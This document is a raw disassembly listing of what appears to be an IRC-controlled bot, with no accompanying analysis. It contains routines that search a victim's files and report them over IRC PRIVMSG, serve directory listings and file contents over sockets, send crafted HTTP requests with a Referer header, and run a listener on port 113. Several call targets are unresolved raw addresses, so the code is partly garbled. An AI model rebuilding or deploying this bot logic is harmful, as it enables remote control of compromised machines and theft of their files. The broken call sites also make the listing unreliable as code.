var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BD10
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100B6
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100BF
; ---------------------------------------------------------------------------


loc_4100B6:				; CODE XREF: sub_410080+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100BF:				; CODE XREF: sub_410080+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B960
		test	eax, eax
		pop	ecx
		jbe	short loc_41015A
		mov	[ebp+arg_8], 2


loc_4100EA:				; CODE XREF: sub_410080+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B960
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41012A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41012A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41012A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41012A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410144
; ---------------------------------------------------------------------------


loc_41012A:				; CODE XREF: sub_410080+7Aj
					; sub_410080+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41013A
		push	5Ch
		pop	eax
		jmp	short loc_41013D
; ---------------------------------------------------------------------------


loc_41013A:				; CODE XREF: sub_410080+B3j
		movsx	eax, al


loc_41013D:				; CODE XREF: sub_410080+B8j
		mov	[ebp+ebx+var_210], al


loc_410144:				; CODE XREF: sub_410080+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B960
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100EA


loc_41015A:				; CODE XREF: sub_410080+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_314]
		push	offset asc_42A084 ; "\n"
		push	eax
		call	sub_41C864
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2680DCEh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101AB
		push	[ebp+arg_0]
		jmp	short loc_410227
; ---------------------------------------------------------------------------


loc_4101A8:				; CODE XREF: sub_410080+11Cj
		mov	[ebp+var_4], esi


loc_4101AB:				; CODE XREF: sub_410080+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101B8
		mov	[ebp+var_4], esi


loc_4101B8:				; CODE XREF: sub_410080+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_410232
		cmp	[ebp+arg_C], edi
		jz	short loc_410226
		lea	eax, [ebp+var_314]
		push	offset asc_434470 ; "*"
		push	eax
		call	sub_41C630
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410A6F
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_410281
; ---------------------------------------------------------------------------


loc_410226:				; CODE XREF: sub_410080+14Fj
		push	ebx


loc_410227:				; CODE XREF: sub_410080+126j
		call	dword_4C939C
		jmp	loc_410329
; ---------------------------------------------------------------------------


loc_410232:				; CODE XREF: sub_410080+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 27107F7h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410281
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C006
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 266053Bh


loc_410281:				; CODE XREF: sub_410080+1A4j
					; sub_410080+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43443C
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3AD
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43C244[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FEFE
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C254[ecx], eax
		jz	short loc_4102FB


loc_4102E9:				; CODE XREF: sub_410080+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_410329
		push	5
		nop
		call	near ptr 2670EE1h
		jmp	short loc_4102E9
; ---------------------------------------------------------------------------


loc_4102FB:				; CODE XREF: sub_410080+267j
		push	ebx
		call	dword_4C939C
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434404
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_410329:				; CODE XREF: sub_410080+1ADj
					; sub_410080+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410330	proc near		; CODE XREF: sub_401AC7+7604p
					; sub_40FEFE+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BD10
		mov	edi, [ebp+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41C864
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_41038F
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	loc_41048C
; ---------------------------------------------------------------------------


loc_41038F:				; CODE XREF: sub_410330+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_410472
		call	sub_41B960
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		push	edi
		call	sub_41B960
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_41048C
; ---------------------------------------------------------------------------


loc_410472:				; CODE XREF: sub_410330+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 10h


loc_41048C:				; CODE XREF: sub_410330+5Aj
					; sub_410330+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		cmp	[ebp+arg_C], ebx
		jz	short loc_410524
		push	[ebp+arg_C]
		call	sub_41B960
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410524
		push	[ebp+arg_C]
		call	sub_41B960
		sub	eax, 3
		pop	ecx
		jz	short loc_4104D8


loc_4104CC:				; CODE XREF: sub_410330+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4104D8
		dec	eax
		jnz	short loc_4104CC


loc_4104D8:				; CODE XREF: sub_410330+19Aj
					; sub_410330+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354


loc_410524:				; CODE XREF: sub_410330+17Ej
					; sub_410330+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 2770000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	loc_410915
		mov	edi, 1FFh


loc_410550:				; CODE XREF: sub_410330+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4108FD
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108FD
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108FD
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2750A1Dh
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27504CAh
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_4105C5
		mov	ecx, offset aAm	; "AM"


loc_4105C5:				; CODE XREF: sub_410330+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_4105D1
		sub	eax, 0Ch


loc_4105D1:				; CODE XREF: sub_410330+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C006
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41077E
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410652
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 28h
		jmp	loc_4108CE
; ---------------------------------------------------------------------------


loc_410652:				; CODE XREF: sub_410330+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_41073C
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B960
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4106F2
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4106F7
; ---------------------------------------------------------------------------


loc_4106F2:				; CODE XREF: sub_410330+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4106F7:				; CODE XREF: sub_410330+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108BF
; ---------------------------------------------------------------------------


loc_41073C:				; CODE XREF: sub_410330+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_410769:				; CODE XREF: sub_410330+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 24h
		jmp	loc_4108CE
; ---------------------------------------------------------------------------


loc_41077E:				; CODE XREF: sub_410330+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107A8
		push	ebx
		push	[ebp+var_368]
		call	sub_416C7D
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_410769
; ---------------------------------------------------------------------------


loc_4107A8:				; CODE XREF: sub_410330+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_4108A8
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B960
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410848
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_41084D
; ---------------------------------------------------------------------------


loc_410848:				; CODE XREF: sub_410330+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_41084D:				; CODE XREF: sub_410330+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		jmp	short loc_4108CE
; ---------------------------------------------------------------------------


loc_4108A8:				; CODE XREF: sub_410330+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4108BF:				; CODE XREF: sub_410330+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C100
		add	esp, 18h


loc_4108CE:				; CODE XREF: sub_410330+31Dj
					; sub_410330+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		cmp	[ebp+arg_8], ebx
		jz	short loc_4108FD
		push	7D0h
		nop
		call	near ptr 2670EE1h


loc_4108FD:				; CODE XREF: sub_410330+226j
					; sub_410330+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	loc_410550


loc_410915:				; CODE XREF: sub_410330+215j
		push	[ebp+arg_0]
		call	near ptr 25C0000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_410958
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	short loc_41098C
; ---------------------------------------------------------------------------


loc_410958:				; CODE XREF: sub_410330+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_410972
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_41098C
; ---------------------------------------------------------------------------


loc_410972:				; CODE XREF: sub_410330+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C006
		add	esp, 10h


loc_41098C:				; CODE XREF: sub_410330+626j
					; sub_410330+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410330	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109B2	proc near		; CODE XREF: sub_40FEFE+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 27107F7h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410A6A
		push	esi
		push	ebx
		call	near ptr 2750000h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410A63


loc_4109F7:				; CODE XREF: sub_4109B2+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A14
		mov	edi, [ebp+arg_4]


loc_410A14:				; CODE XREF: sub_4109B2+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F1192h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A5E
		call	dword_4C9298
		cmp	eax, 2733h
		jnz	short loc_410A63
		xor	eax, eax


loc_410A5E:				; CODE XREF: sub_4109B2+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4109F7


loc_410A63:				; CODE XREF: sub_4109B2+43j
					; sub_4109B2+A8j
		push	ebx
		nop
		call	near ptr 266053Bh


loc_410A6A:				; CODE XREF: sub_4109B2+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A6F	proc near		; CODE XREF: sub_410080+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B960
		test	eax, eax
		pop	ecx
		jbe	short loc_410A98


loc_410A82:				; CODE XREF: sub_410A6F+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410A8C
		mov	byte ptr [esi+edi], 2Fh


loc_410A8C:				; CODE XREF: sub_410A6F+17j
		push	edi
		inc	esi
		call	sub_41B960
		cmp	esi, eax
		pop	ecx
		jb	short loc_410A82


loc_410A98:				; CODE XREF: sub_410A6F+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410A6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A9D	proc near		; CODE XREF: sub_401AC7+5201p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4C9274
		push	6
		push	1
		push	2
		call	dword_4C9384
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4C9304
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8E4
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410B7A
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B16
		mov	eax, offset byte_43B4B8


loc_410B16:				; CODE XREF: sub_410A9D+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4C9354
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4C931C
		pop	esi


loc_410B7A:				; CODE XREF: sub_410A9D+6Bj
		push	ebx
		call	dword_4C939C
		call	dword_4C925C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C006
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BBA
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_410BBA:				; CODE XREF: sub_410A9D+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410A9D	endp

; ---------------------------------------------------------------------------


loc_410BBE:				; DATA XREF: ___:00401660o
					; sub_401AC7+4389o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4C9304
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4C9384
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D1F
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43C24C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4C9330
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D1F
		push	5
		push	ebx
		call	dword_4C932C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D1F
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C49:				; CODE XREF: ___:00410CA8j
					; ___:00410D08j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4C9398
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D1A
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43495C
		push	eax
		call	sub_41C006
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415CEE
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
